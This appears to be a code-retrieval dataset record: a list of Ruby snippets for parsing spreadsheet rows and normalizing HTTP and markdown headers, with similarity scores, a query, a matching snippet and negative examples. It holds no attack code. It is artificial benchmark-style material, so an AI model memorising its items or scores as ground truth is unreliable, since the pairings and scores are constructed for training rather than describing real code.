I18n.t(\"top_container_linker.error.cp_not_in_db\", :cp_id=> cp_id.to_s, :ref_id => ref_id.to_s, :row_num => @counter.to_s)\n end\n end\n rescue Exception => e\n Log.error([\"UNEXPLAINED EXCEPTION on check row\", e.message, e.backtrace, @row_hash].pretty_inspect)\n raise\n end\n if !err_arr.empty?\n raise BulkImportException.new(err_arr.join(\"; \"))\n end\n end", "def evaluate_row_from_headers(record_type)\n row_str = \"\\n\"\n #row_str = config.header_fields.collect.map{|fld| eval(\"eval_\" + fld.first.downcase.gsub(/(#|\\(|\\)| )/, \"_\") + fld[2])}.join(@delimiter )\n if record_type == \"plb\"\n plb_field_list = [\"Patient First Name\", \"Patient Last Name\", \n \"Patient Account Number\", \"835 Amount\", \"Xpeditor Document Number\",\n \"Total Charge\", \"Date Of Service\", \"Reject Reason\", \"Statement #\", \n \"Member Id\", \"Patient Date Of Birth\", \"Payer Name\", \"Reason Not Processed\",\n \"837 File Type\", \"PLB\", \"Unique Identifier\", \"Client Code\", \"Payer\", \n \"MRN\", \"Service Provider ID\", \"Transaction Type\"]\n row_str = row_str + config.header_fields.collect.map{|fld|\n if plb_field_list.include?(fld.first)\n eval(\"eval_plb_\" + fld.first.downcase.gsub(/(#|\\(|\\)| |\\/)/, \"_\")) \n else \n eval(\"eval_\" + fld.first.downcase.gsub(/(#|\\(|\\)| |\\/)/, \"_\"))\n end\n }.join(@delimiter) \n elsif record_type == \"extra plb\"\n plb_field_list = [\"Patient First Name\", \"Patient Last Name\",\n \"835 Amount\", \"Xpeditor Document Number\",\n \"Total Charge\", \"Date Of Service\", \"Reject Reason\", \"Statement #\",\n \"Member Id\", \"Patient Date Of Birth\", \"Reason Not Processed\",\n \"837 File Type\", \"PLB\", \"Unique Identifier\", \"Client Code\"]\n row_str = row_str + config.header_fields.collect.map{|fld|\n if plb_field_list.include?(fld.first)\n eval(\"eval_extra_plb_\" + fld.first.downcase.gsub(/(#|\\(|\\)| |\\/)/, \"_\"))\n else\n eval(\"eval_\" + fld.first.downcase.gsub(/(#|\\(|\\)| |\\/)/, \"_\"))\n end\n }.join(@delimiter)\n else\n row_str = row_str + config.header_fields.collect.map{|fld| eval(\"eval_\" + fld.first.downcase.gsub(/(#|\\(|\\)| |\\/)/, \"_\"))}.join(@delimiter)\n end\n row_str = row_str + @delimiter + Array.new(@config.custom_header_fields.size).join(@delimiter) if @config.custom_header_fields.size > 0\n row_str \n end", "def excel_parse\n excel = Spreadsheet.open \"clientes.xls\"\n hoja = excel.worksheet 0\n\n# @filas = []\n hoja.each 1 do |fila|\n #solo añadimos aquellos clientes que no existan, comprobamos que el codigo no exista\n #\n ficha = Cliente.find_by_codigo( fila[4])\n if not ficha then\n ficha = Cliente.new\n ficha.user_id = 1 #usuario de test, para cuando sea MMO\n ficha.codigo = fila[4]\n ficha.nombre = fila[3]\n ficha.provincia = fila[25]\n ficha.direccion = fila[26]\n ficha.ciudad = fila[27]\n ficha.cp = fila[28]\n ficha.telefono = fila[29]\n ficha.grupo_id = fila[1]\n ficha.notas = \"\"\n ficha.save!\n# @filas << ficha\n end\n\n #parseamos la marca a la que pertenece la venta\n m = Marca.find_by_codigo( fila[10])\n if not m then\n m = Marca.new\n m.codigo = fila[10]\n m.user = 0\n m.save!\n end\n\n #parseamos las ventas de esa fila suponiendo que el cliente existe\n vdata = Venta.new do |v|\n v.user= 1\n v.cliente= ficha.id\n #v.marca = Marca.find_by_codigo(fila[10]).id\n v.marca = m.id\n v.piezas_12m = fila[23]\n v.piezas_fact_last_mes = fila[12]\n v.piezas_last_pedido = fila[18]\n v.piezas_pendientes = fila[11]\n end\n vdata.save!\n end\n end", "def parse_local_row(row)\n cells = row.xpath(\"table:table-cell|table:covered-table-cell\")\n workbook_row = Workbook::Row.new\n cells.each do |cell|\n @cell = cell\n repeat = cell_repeat\n workbook_cell = Workbook::Cell.new\n workbook_cell.value = @cell.nil? ? nil : parse_local_cell(workbook_cell)\n repeat.times do\n workbook_row << workbook_cell\n end\n end\n workbook_row\n end", "def skip_headers\n start_of_file? ? (@headers = read_row) : false\n end", "def go_through_all_the_lines(worksheet_key)\n\n\tdata = []\n\tworksheet = get_worksheet(worksheet_key)\n\n\t# create an array called data in order to store all the emails\n\nworksheet.rows.each do |row|\n\n\t# for each of line of the row we add it into the \"data array\"\n\n\t data << row[1].gsub(/[[:space:]]/, '')\n end \n \n return data\nend", "def parse\n input_data.each do |filename, data|\n rowdata_template = OpenStruct.new\n @preprocess_block.call(filename, rowdata_template) if @preprocess_block\n\n arrived_at_table_data = false\n\n data.split(\"\\r\\n\").each do |line|\n next if line.strip.empty? # Skip blank and whitespace lines\n\n if !arrived_at_table_data\n next if line =~ /\\ACreated by SunData/ # Skip created by line\n if date_match = line.match(/\\A(\\d\\d\\d\\d-\\d\\d-\\d\\d)\\t\\tLocal time is (GMT.\\d+ Hrs)/)\n rowdata_template.date = date_match[1]\n rowdata_template.timezone = date_match[2]\n end\n\n if sunscan_match = line.match(/\\ASunScan probe (v.*)/)\n rowdata_template.sunscan_version = sunscan_match[1]\n end\n\n if matches = line.scan(/\\s*([^\\t:]+)\\s*:\\s*([^\\t:]+)/)\n matches.flatten.map(&:strip).each_slice(2) do |key, value|\n next if value.nil? || value.empty?\n rowdata_template[key.downcase.gsub(\" \", \"_\")] = value\n end\n end\n\n # Once we hit the table hearder we can start processing tabular data.\n # The header is two lines long because of the formatting.\n next if line =~ /\\ATime\\tPlot\\t/\n arrived_at_table_data = true and next if line =~ /\\s+mitted\\s+ent/\n\n\n else\n rowdata = rowdata_template.dup\n table_line = line.split(\"\\t\")\n rowdata.time = table_line[0]\n rowdata.plot = table_line[1]\n rowdata.sample = table_line[2]\n rowdata.transmitted = table_line[3]\n rowdata.spread = table_line[4]\n rowdata.incident = table_line[5]\n rowdata.beam = table_line[6]\n rowdata.zenith_angle = table_line[7]\n rowdata.lai = table_line[8]\n rowdata.notes = table_line[9]\n # Only record output data once the full line data has been captured.\n output_data << rowdata\n end\n end\n end\n end", "def excel_calculated_cells\n @calculated_cells = {} unless defined? @calculated_cells\n @calculated_cells\n end", "def [](row = 0)\n sheet_data[row]\n end", "def [](row=0)\n return @sheet_data[row]\n end", "def read_lines lines, options = {}\n table_apply = TableApply.new(options)\n\n header = table_apply.parse_header(lines[0], options)\n Validator::valid_header?(header, @header) # compare against older header when merging\n column_index,header = table_apply.column_index(header) # we may rewrite the header\n @header = header if not @header\n \n newheader = @header[1..-1]\n # parse the rest\n prev_line = newheader\n (lines[1..-1]).each_with_index do | line, line_num |\n rowname, data_fields = table_apply.parse_row(line_num, line, newheader, column_index, prev_line, options)\n if data_fields\n @rownames << rowname if not options[:with_rownames] # otherwise doubles rownames\n @rows << data_fields if data_fields\n end\n prev_line = data_fields\n end\n return @rownames,@rows\n end", "def read_input_row(row)\n row_out = {}\n schema.columns.each do |name, col|\n # use nil if row doesn't exist in input\n row_out[name] = row.fetch(name, nil)\n end\n row_out \n end", "def read_worksheet(ws, defaultFile)\n cards = {}\n keys = []\n (1..ws.getNumRows()).each do |row|\n if (row == 1)\n cards[ws.getTitle()] = {}\n end\n\n card = {}\n\n (1..ws.getNumCols()).each do |col|\n cell = ws.getCell(row, col)\n if cell.empty? then next end\n\n # first row should be keys\n if (row == 1)\n keys << cell.gsub(' ', '_').downcase\n else\n card[keys[col-1]] = cell\n end\n end\n\n unless (card.empty?)\n cards[ws.getTitle()][card['name']] = card\n end\n\n if (defaultFile and card['count'])\n defaultFile['cards'] << card.select do |field|\n ['name', 'count'].include?(field)\n end\n end\n end\n\n return cards\nend", "def read_row\n @row ||= Row.new([nil] * @key_map.size, key_map: @key_map)\n\n # Need to read ahead by one record in order to get EOF flag\n @prev_read ||= @data_stream.readline\n\n self.eof_flag = @data_stream.eof?\n @row.last_row = self.eof_flag\n\n this_read = @data_stream.readline\n\n if @data_lib.csv_opt[:headers] && @data_lib.header_as_variables\n row_array = @prev_read.fields\n else\n row_array = @key_map.map.with_index do |v,i|\n variable_idx_to_csv_col(@prev_read.size)[i] && @prev_read[variable_idx_to_csv_col(@prev_read.size)[i]]\n end\n end\n\n @row.set_values(row_array)\n @prev_read = this_read\n\n @row\n end", "def extract_data(args = {})\n sheet_data.rows.map { |row|\n row.cells.map { |c| c && c.value(args) } unless row.nil?\n }\n end", "def read_row\n @row ||= Row.new([nil]*@key_map.size, last_row: false, key_map: @key_map)\n @row.clear\n end", "def each_row\n @rows_processed = 0\n @data.each do |h|\n h = h.clone\n transform_row!(h)\n yield h\n @rows_processed += 1\n end\n end", "def parse_csv_legacy(file)\n\trows = []\n\tlines = File.read(file).split(\"\\n\").map(&:strip).reject { |l| l.empty? }\n\trows = lines.map { |r| r.split(\",\").map(&:strip) }\n\n\theader = rows.shift\n\n\trows.map do |row|\n\t\ti = 0\n\t\trow_hash = {}\n\t\theader.each do |h|\n\t\t\trow_hash[h] = row[i]\n\t\t\ti += 1\n\t\tend\n\t\trow_hash\n\tend\nend", "def process_row(row)\n row\n end", "def transform(lines, &block)\n return enum_for(:transform, lines) unless block\n\n @row_index = 0\n @header_valid = false\n @header_best_guess = nil\n @notifier.try(:started)\n\n last_col = last_column_to_transform\n skip_footer_lines(lines, footer_lines).each do |line|\n line.is_a?(Array) ? process_line(line[0..last_col], &block) : process_line(line, &block)\n end\n\n @notifier.try(:finished)\n end", "def loadstudents\n #service = googleauthorisation(request)\n returned_authorisation = googleauthorisation(request)\n if returned_authorisation[\"authorizationurl\"]\n redirect_to returned_authorisation[\"authorizationurl\"] and return\n end\n service = returned_authorisation[\"service\"]\n #spreadsheet_id = '1CbtBqeHyYb9jRmROCgItS2eEaYSwzOMpQZdUWLMvjng'\n spreadsheet_id = current_user[:ssurl].match(/spreadsheets\\/d\\/(.*?)\\//)[1]\n logger.debug 'about to read spreadsheet'\n startrow = 3\n # first get the 3 columns - Student's Name + Year, Focus, study percentages\n range = \"STUDENTS!A#{startrow}:C\"\n response = service.get_spreadsheet_values(spreadsheet_id, range)\n @students = Array.new(response.values.length){Array.new(11)}\n #logger.debug \"students: \" + @students.inspect\n basecolumncount = 1 #index for loading array - 0 contains spreadsheet row number\n rowcount = 0\t\t\t \n response.values.each do |r|\n #logger.debug \"============ row #{rowcount} ================\"\n #logger.debug \"row: \" + r.inspect\n colcount = 0\n @students[rowcount][0] = rowcount + startrow\n r.each do |c|\n #logger.debug \"============ cell value for column #{colcount} ================\"\n \t #logger.debug \"cell value: \" + c.inspect\n \t @students[rowcount][basecolumncount + colcount] = c\n \t\t colcount = colcount + 1\n end\n rowcount = rowcount + 1\n end\n basecolumncount += 3\n # second get the 1 column - email\n range = \"STUDENTS!E#{startrow}:E\"\n response = service.get_spreadsheet_values(spreadsheet_id, range)\n #logger.debug \"students: \" + @students.inspect\n rowcount = 0\t\t\t \n response.values.each do |r|\n #logger.debug \"============ row #{rowcount} ================\"\n #logger.debug \"row: \" + r.inspect\n colcount = 0\n r.each do |c|\n #logger.debug \"============ cell value for column #{colcount} ================\"\n \t #logger.debug \"cell value: \" + c.inspect\n \t @students[rowcount][basecolumncount + colcount] = c\n \t\t colcount = colcount + 1\n end\n rowcount = rowcount + 1\n end\n basecolumncount += 1\n #third get the perferences and invcode\n range = \"STUDENTS!L#{startrow}:M\"\n response = service.get_spreadsheet_values(spreadsheet_id, range)\n rowcount = 0\n response.values.each do |r|\n colcount = 0\n r.each do |c|\n \t @students[rowcount][basecolumncount + colcount] = c\n \t\t colcount = colcount + 1\n end\n rowcount = rowcount + 1\n end\n basecolumncount += 2\n #fourth get the 3 columns daycode, term 4, daycode\n # these will be manipulated to get the savable daycode\n range = \"STUDENTS!P#{startrow}:R\"\n response = service.get_spreadsheet_values(spreadsheet_id, range)\n rowcount = 0\n response.values.each do |r|\n colcount = 0\n r.each do |c|\n \t @students[rowcount][basecolumncount + colcount] = c\n \t\t colcount = colcount + 1\n end\n rowcount = rowcount + 1\n end\n basecolumncount += 3\n #logger.debug \"students: \" + @students.inspect\n # Now to update the database\n loopcount = 0 # limit output during testing\n @students.each do |t| # step through all ss students\n pnameyear = t[1]\n logger.debug \"pnameyear: \" + pnameyear.inspect\n if pnameyear == \"\" || pnameyear == nil\n t[10] = \"invalid pnameyear - do nothing\"\n next\n end\n #pnameyear[/^zz/] == nil ? status = \"active\" : status = \"inactive\"\n name_year_sex = getStudentNameYearSex(pnameyear)\n pname = name_year_sex[0]\n year = name_year_sex[1]\n sex = name_year_sex[2]\n status = name_year_sex[3]\n logger.debug \"pname: \" + pname + \" : \" + year + \" : \" +\n sex.inspect + \" : \" + status\n # day code\n # use term 3 code unless a term 4 code, then take term 4\n t[9] == \"\" || t[9] == nil ? usedaycode = t[7] : usedaycode = t[9]\n # check if alrady an entry in the database\n # if so, update it. else create a new record.\n db_student = Student.find_by pname: pname\n if(db_student) # already in the database\n flagupdate = 0 # detect if any fields change\n updatetext = \"\"\n # first get the 4 columns - 1. Student's Name + Year, 2. Focus,\n # 3. study percentages, 4. email\n # now get the 5. perferences and 6. invcode\n # now get the 7. daycode, 8. term 4, 9. daycode\n if db_student.year != year\n db_student.year = year\n flagupdate = 1\n updatetext = updatetext + \" - year\" \n end\n if sex\n if db_student.sex != sex\n db_student.sex = sex\n flagupdate = 1\n updatetext = updatetext + \" - sex (\" + sex + \")\"\n end\n end\n if db_student.comment != t[2]\n db_student.comment = t[2]\n flagupdate = 1\n updatetext = updatetext + \" - comment\" \n end\n if db_student.study != t[3]\n db_student.study = t[3]\n flagupdate = 1\n updatetext = updatetext + \" - study percentages\" \n end\n if db_student.email != t[4]\n db_student.email = t[4]\n flagupdate = 1\n updatetext = updatetext + \" - email\" \n end\n if db_student.preferences != t[5]\n db_student.preferences = t[5]\n flagupdate = 1\n updatetext = updatetext + \" - preferences\" \n end\n if db_student.invcode != t[6]\n db_student.invcode = t[6]\n flagupdate = 1\n updatetext = updatetext + \" - invoice code\" \n end\n if db_student.daycode != usedaycode\n db_student.daycode = usedaycode\n flagupdate = 1\n updatetext = updatetext + \" - day code\" \n end\n if db_student.status != status\n db_student.status = status\n flagupdate = 1\n updatetext = updatetext + \" - status\" \n end\n logger.debug \"flagupdate: \" + flagupdate.inspect + \" db_student: \" + db_student.inspect\n if flagupdate == 1 # something changed - need to save\n if db_student.save\n logger.debug \"db_student saved changes successfully\"\n t[10] = \"updated #{db_student.id} \" + updatetext \n else\n logger.debug \"db_student saving failed - \" + @db_student.errors\n t[10] = \"failed to update\"\n end\n else\n t[10] = \"no changes\"\n end\n else\n # This Student is not in the database - so need to add it.\n #\n # first get the 4 columns - 1. Student's Name + Year, 2. Focus,\n # 3. study percentages, 4. email\n # now get the 5. perferences and 6. invcode\n # now get the 7. daycode, 8. term 4, 9. daycode\n @db_student = Student.new(\n pname: pname,\n year: year,\n comment: t[2],\n study: t[3],\n email: t[4],\n preferences: t[5],\n invcode: t[6],\n daycode: usedaycode,\n status: status,\n sex: sex\n )\n logger.debug \"new - db_student: \" + @db_student.inspect\n if @db_student.save\n logger.debug \"db_student saved successfully\"\n t[10] = \"created #{@db_student.id}\" \n else\n logger.debug \"db_student saving failed - \" + @db_student.errors.inspect\n t[10] = \"failed to create\"\n end\n end\n #exit\n if loopcount > 2\n #break\n end\n loopcount += 1\n end\n end", "def rows\n @rows ||= [].tap do |rows|\n CSV.foreach(csv_file, headers: @has_header_row) do |row|\n rows << columns.map { |column, index| normalize(column, row[index].try(:strip).presence) }\n end\n end\n end", "def [](row = 0)\n sheet_data[row]\n end", "def apply_rows\n return to_enum unless block_given?\n DataFrame.new(each.collect do |row| {:value => yield(row)} end, rownames: @rownames, colnames: [:value])\n end", "def initialize_rows\n @transform_lookup = {}\n if is_time?\n initialize_time_rows\n elsif is_distance?\n initialize_distance_rows\n else\n initialize_numeric_rows\n end\n end", "def each_record(table, &block)\n columns = nil\n read_each(table) do |line|\n if columns\n yield Hash[columns.zip(line)]\n else\n columns = line.map(&:to_sym)\n end\n end\n end", "def build_vendor_hash(row)\n if(!row.cells[0].value) # skip empty rows\n return nil # Skip row if no name or header\n elsif(row.cells[0].datatype == \"s\" && row.cells[0].value.match(/name/i))\n @errors << { :part_number => \"N/A\", :condition => \"N/A\", :message => \"Found and skipped excel header\" }\n return nil # Skip row if header\n end\n\n @vendor_row = {\n :name => row.cells[0] ? row.cells[0].value : nil,\n :address1 => row.cells[6] ? row.cells[6].value : nil,\n :address2 => row.cells[7] ? row.cells[7].value : nil,\n :phone => row.cells[2] ? row.cells[2].value : nil,\n :email => row.cells[4] ? row.cells[4].value : nil,\n :fax => row.cells[3] ? row.cells[3].value : nil,\n :website => row.cells[5] ? row.cells[5].value : nil,\n :contact_name => row.cells[1] ? row.cells[1].value : nil,\n :city => row.cells[8] ? row.cells[8].value : nil,\n :state => row.cells[9] ? row.cells[9].value : nil,\n :country => row.cells[10] ? row.cells[10].value : nil,\n :zipcode => row.cells[11] ? row.cells[11].value : nil,\n :notes => row.cells[13] ? row.cells[13].value : nil,\n :currency => row.cells[12] ? row.cells[12].value : nil\n }\n\n end", "def validate_sheet!(sheet)\n super\n # establish our sheet lookups so we don't do this each cell assignment\n @cell_type[sheet] ||= {}\n @formula[sheet] ||= {}\n @cell[sheet] ||= {}\n @fonts[sheet] ||= {}\n end" ]
[ "0.6651849", "0.65022016", "0.6229494", "0.59781986", "0.58720183", "0.5833307", "0.5680039", "0.5666765", "0.5622115", "0.56011903", "0.5594161", "0.5568689", "0.555965", "0.55427134", "0.550082", "0.5436349", "0.54118896", "0.53596354", "0.53558016", "0.5351957", "0.53260714", "0.52987736", "0.5278615", "0.5260674", "0.52577525", "0.52437955", "0.5243421", "0.52288085", "0.5205007", "0.5199211", "0.519479", "0.51623076", "0.5157216", "0.51513463", "0.5134704", "0.5132987", "0.5128259", "0.511641", "0.5114485", "0.5114246", "0.5104446", "0.50961256", "0.503835", "0.5037818", "0.50122684", "0.5001866", "0.49861562", "0.49824435", "0.4965053", "0.49649122", "0.49527055", "0.4936342", "0.49268988", "0.4925358", "0.4921787", "0.4921622", "0.4917468", "0.49131307", "0.49063802", "0.48961952", "0.48861027", "0.4875734", "0.48672757", "0.48633063", "0.48495162", "0.4846208", "0.4830984", "0.48290145", "0.48105934", "0.47875416", "0.4787079", "0.47851217", "0.47775975", "0.47741246", "0.4762021", "0.475694", "0.47509956", "0.4748183", "0.47380337", "0.47376403", "0.47360477", "0.4722903", "0.4712522", "0.47052163", "0.4704003", "0.4700305", "0.4693756", "0.46730506", "0.46713614", "0.4668035", "0.46640947", "0.4658716", "0.4658366", "0.46557173", "0.46519887", "0.46425158", "0.4639274", "0.46303952", "0.46292657" ]
0.65913033
2
Return the canonical set of headers. This makes everything lowercase, strips flankning space, and substitutes underscores for spaces. Override to validate or for further process headers.
def read_headers (col_stop) # collect header row headers = (1..col_stop).collect { |j| @wbook.cell(1,j) } # drop case, strip flanking spaces, replace gaps with underscores pp @syn_dict return headers.collect { |h| h_str = h.downcase.strip.gsub(' ', '_').to_sym() pp h_str pp @syn_dict.fetch(h_str, h_str) @syn_dict.fetch(h_str, h_str) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def canonicalized_headers\n x_amz = headers.select{|name, value| name.to_s =~ /^x-amz-/i }\n x_amz = x_amz.collect{|name, value| [name.downcase, value] }\n x_amz = x_amz.sort_by{|name, value| name }\n x_amz = x_amz.collect{|name, value| \"#{name}:#{value}\" }.join(\"\\n\")\n x_amz == '' ? nil : x_amz\n end", "def canonicalize_headers(headers)\n tmp = headers.inject({}) {|ret, h| ret[h.first.downcase] = h.last if h.first.match(/^x-tmrk/i) ; ret }\n tmp.reject! {|k,v| k == \"x-tmrk-authorization\" }\n tmp = tmp.sort.map{|e| \"#{e.first}:#{e.last}\" }.join(\"\\n\")\n tmp\n end", "def canonize_headers(headers)\n validate_header_keys! headers.keys\n\n canonical = {}\n headers.each_pair do |key, value|\n pref = key_name_groups.detect { |ka| ka.include?(key) }\n canonical[pref.first] = [canonize_header_value(value)].flatten\n end\n\n logger.debug \"Canonized headers #{canonical.inspect}\" if logger_debug?\n canonical\n end", "def canonical_headers\n hash = headers.dup\n hash[\"host\"] ||= Addressable::URI.parse(url).host\n hash = hash.map{|name,value| [name.downcase,value]}\n hash.reject!{|name,value| name == \"authorization\"}\n hash.sort\n end", "def canonicalize_header(header)\n header.to_s.split(/[\\-_]/).map(&:capitalize).join('-')\n end", "def normalize_headers(headers)\n return {} unless headers\n\n headers = Hash[\n headers.map { |k, v| [k.gsub(HEADER_HTTP_PREFIX, '').capitalize, v] }\n ] # remove 'HTTP_' prefix in keys\n headers.delete_if { |_k, v| v.blank? } # remove pairs with empty values\n headers.keep_if { |k, _v| OCCI_KEYS.include?(k) } # drop non-OCCI pairs\n\n logger.debug \"Normalized headers #{headers.inspect}\" if logger_debug?\n headers\n end", "def normalize_header(str)\n str.upcase.gsub('-', '_')\n end", "def get_normalised_headers(headers = nil)\n normalised_keys = {}\n if !headers.nil?\n if headers.kind_of?Hash\n headers.each do |key,value|\n normalised_key = key.to_s.downcase.gsub('_','-').sub(/http-/,'')\n normalised_keys[normalised_key] = value\n end\n elsif headers.kind_of?String\n normalised_keys = {'user-agent' => headers}\n end\n elsif !@headers.nil?\n @headers.each do |key,value|\n normalised_key = key.to_s.downcase.gsub('_','-').sub(/http-/,'')\n normalised_keys[normalised_key] = value\n end\n end\n return normalised_keys\n end", "def normalise_headers(headers)\n norm_headers = []\n\n headers.each_with_index do |header_name, i|\n # Process the current header\n normalised_header = normalise_header header_name\n\n # Add header name to index of normalised header names\n norm_headers[i] = normalised_header\n end\n\n norm_headers\n end", "def proper_headers(arr)\n\t\tarr.first.map! {|i| i.split(/(?=[A-Z])/).join(' ')}\n\tend", "def normalized_headers\n\t\theaders = self.headers.dup\n\n\t\theaders[:date] ||= Time.now.httpdate\n\n\t\tif self.bodiless? && !self.extended_reply?\n\t\t\theaders.delete( :content_length )\n\t\t\theaders.delete( :content_type )\n\t\telse\n\t\t\theaders[:content_length] ||= self.get_content_length\n\t\t\theaders[:content_type] ||= DEFAULT_CONTENT_TYPE.dup\n\t\tend\n\n\t\treturn headers\n\tend", "def convert_headers(headers)\n return headers unless headers.keys.any? { |k| k =~ /_/ }\n\n result = {}\n\n headers.each do |k, v|\n words = k.split(\"_\")\n key = words.map { |w| w.downcase.capitalize }.join(\"-\")\n result[key] = v\n end\n\n result\n end", "def prepare_custom_headers(header)\n header.end_with?(\"__c\") ? header.slice(0..-4).downcase : header.downcase\n end", "def unify_headers(headers)\n lines = []\n headers.each_pair do |k, v|\n lines << v.map { |val| \"#{k}: #{val}\" }\n end\n\n logger.debug \"Unified headers #{lines.inspect}\" if logger_debug?\n lines.flatten.sort\n end", "def normalize_header_name(header)\n header.delete_prefix(\"HTTP_\").split(\"_\").map(&:capitalize).join(\"-\")\n end", "def get_headers_\n hin = ATS::Headers_in.new\n hin.all.reduce({}) do |memo, pair| \n memo[pair.first.downcase] = pair[1]; memo\n end\n end", "def clean_col_header (hdr)\r\n\t\t\t# Conversion is:\r\n\t\t\t# - strip flanking space\r\n\t\t\t# - convert all internal non-alphanumerics to underscores\r\n\t\t\t# reduce consequetive underscores to a single one\r\n\t\t\t# TODO: strip flanking underscores\r\n\t\t\tclean_str = hdr.downcase.strip.gsub(/\\W+/, '_')\r\n\t\t\treturn clean_str.gsub(/_+/, '_')\r\n\t\tend", "def normalize_header_name(name)\n name.\n # remove heading HTTP if present\n sub(/^#{RACK_PREFIX}/, '').\n # split on underscore\n split('_').\n # transform UPCASE to Upcase\n map(&:capitalize).\n # join back on a dash\n join('-')\n end", "def normalize_headers(headers)\n result = headers.inject({}) do |h, (k, v)|\n # value is in raw form as array of sequential header values\n h[normalize_header_key(k)] = v\n h\n end\n\n # eliminate headers that interfere with playback or don't make sense to\n # record.\n %w(\n connection status host user_agent content_encoding\n ).each { |key| result.delete(key) }\n\n # always obfuscate cookie headers as they won't be needed for playback and\n # would be non-trivial to configure for each service.\n %w(cookie set_cookie).each do |k|\n if cookies = result[k]\n if cookies.is_a?(::String)\n cookies = cookies.split(';').map { |c| c.strip }\n end\n result[k] = cookies.map do |cookie|\n if offset = cookie.index('=')\n cookie_name = cookie[0..(offset-1)]\n \"#{cookie_name}=#{HIDDEN_CREDENTIAL_VALUE}\"\n else\n cookie\n end\n end\n end\n end\n result\n end", "def get_request_headers\n request.env.find_all {|k, v|\n UnprefixedHeaders.include?(k) || k.start_with?('HTTP_')\n }.map {|k, v|\n range = UnprefixedHeaders.include?(k) ? 0..-1 : 1..-1\n [k.split('_')[range].map(&:downcase).map(&:capitalize).join('-'),\n v]\n }\n end", "def headers\n @headers ||= begin\n @mail.header.fields.inject({}) do |memo, field|\n name = field.name.downcase.to_s\n next memo if self.class.skipped_headers.include?(name)\n\n header = unquoted_header(name)\n memo.update(name => self.class.unescape(header))\n end\n end\n end", "def normalise_header(header_name)\n # Set a non-empty value of header if its missing\n header_name ||= 'empty'\n\n # Lower case header name\n header_name = header_name.downcase\n\n # Try normalising as if it was an alt. spelling header\n normalised_header ||= normalise_alt_spelling(header_name)\n\n # Try normalising as if it was a source-related header\n normalised_header ||= normalise_source_header(header_name)\n\n # If nothing matched thus far, use header_name as is\n normalised_header || header_name\n end", "def signed_headers\n canonical_headers.map{|name,value| name}\n end", "def parse_headers(raw_headers)\n headers = {}\n raw_headers.each do |h|\n if h =~ /^# *([a-zA-Z_]+) *:(.*)/\n h_key = $1.downcase.intern\n h_value = $2.split(\",\").collect { |v| v.strip }\n if h_value.length > 0 # ignore empty headers\n headers[h_key] = h_value.length > 1 ? h_value : h_value[0]\n end\n end\n end\n \n return headers\n end", "def lkey_strip(hdrs)\n hdrs.split(\": \")[0].downcase.gsub(\"-\", \"\").to_s.strip\n end", "def normalize_header(header)\n return nil if header.nil?\n header.downcase.split.join(\"_\").chomp('?')\nend", "def transform_headers(headers)\n logger.debug \"Transforming headers #{headers.inspect}\" if logger_debug?\n unify_headers(\n canonize_headers(\n normalize_headers(headers)\n )\n )\n end", "def headers\n @headers.reject {|k, v| k == :body }.map do |k, v|\n translate_header_name(k) + ': ' + v + \"\\n\"\n end.join\n end", "def headers\n @headers ||= response ? Hash[response.headers.map{ |k,v| [k.downcase,v] }] : {}\n end", "def convert_headers(original_headers)\n original_headers.inject({}) { |r, v|\n r[\"HTTP_#{v[0].gsub('-', '_').upcase}\"] = v[1]\n r\n }\n end", "def fixup_headers\n\t\t\tif @content\n\t\t\t\t@headers[\"Content-length\"] = content.to_s.bytesize\n\t\t\telsif @chunks\n\t\t\t\t@headers[\"Transfer-encoding\"] = \"chunked\"\n\t\t\t\t# Might be nice to ENSURE there is no content-length header,\n\t\t\t\t# but how to detect all the possible permutations of upper/lower case?\n\t\t\telsif @multiparts\n\t\t\t\t@multipart_boundary = self.class.concoct_multipart_boundary\n\t\t\t\t@headers[\"Content-type\"] = \"multipart/x-mixed-replace; boundary=\\\"#{@multipart_boundary}\\\"\"\n\t\t\telse\n\t\t\t\t@headers[\"Content-length\"] = 0\n\t\t\tend\n\t\tend", "def headers\n list = @response.header_str.split(/[\\r\\n]+/).map(&:strip)\n Hash[list.flat_map{ |s| s.scan(/^(\\S+): (.+)/) }.map { |pair|\n [pair.first.to_s.camelcase, pair.second]\n }]\n end", "def headers\n @headers ||= begin\n mail = Mail.new(self.raw_headers)\n mail.header.fields.each_with_object({}) do |field, hash|\n hash[field.name.downcase] ||= []\n hash[field.name.downcase] << field.decoded\n end\n end\n end", "def normalize_rack_response_headers(headers)\n result = headers.inject({}) do |h, (k, v)|\n h[k.to_s.gsub('_', '-').downcase] = v.join(\"\\n\")\n h\n end\n\n # a proxy server must always instruct the client close the connection by\n # specification because a live socket cannot be proxied from client to\n # the real server. this also works around a lame warning in ruby 1.9.3\n # webbrick code (fixed in 2.1.0+) saying:\n # Could not determine content-length of response body.\n # Set content-length of the response or set Response#chunked = true\n # in the case of 204 empty response, which is incorrect.\n result['connection'] = 'close'\n result\n end", "def transform_headers( str, rs )\n\t\t\t@log.debug \" Transforming headers\"\n\n\t\t\t# Setext-style headers:\n\t\t\t#\t Header 1\n\t\t\t#\t ========\n\t\t\t#\n\t\t\t#\t Header 2\n\t\t\t#\t --------\n\t\t\t#\n\n\t\t\tsection_numbers = [nil, nil, nil, nil, nil]\n\n\t\t\tstr.\n\t\t\t\tgsub( HeaderRegexp ) {|m|\n\t\t\t\t\tif $1 then\n\t\t\t\t\t\t@log.debug \"Found setext-style header\"\n\t\t\t\t\t\ttitle, id, hdrchar = $1, $2, $3\n\n\t\t\t\t\t\tcase hdrchar\n\t\t\t\t\t\twhen '='\n\t\t\t\t\t\t\tlevel = 1\n\t\t\t\t\t\twhen '-'\n\t\t\t\t\t\t\tlevel = 2\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\t@log.debug \"Found ATX-style header\"\n\t\t\t\t\t\thdrchars, title, id = $4, $5, $6\n\t\t\t\t\t\tlevel = hdrchars.length\n\n\t\t\t\t\t\tif level >= 7 then\n\t\t\t\t\t\t\trs.warnings << \"illegal header level - h#{level} ('#' symbols are too many)\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tprefix = ''\n\t\t\t\t\tif rs.numbering? then\n\t\t\t\t\t\tif level >= rs.numbering_start_level and level <= 6 then\n\t\t\t\t\t\t\tdepth = level - rs.numbering_start_level\n\n\t\t\t\t\t\t\tsection_numbers.each_index do |i|\n\t\t\t\t\t\t\t\tif i == depth and section_numbers[depth] then\n\t\t\t\t\t\t\t\t\t# increment a deepest number if current header's level equals last header's\n\t\t\t\t\t\t\t\t\tsection_numbers[i] += 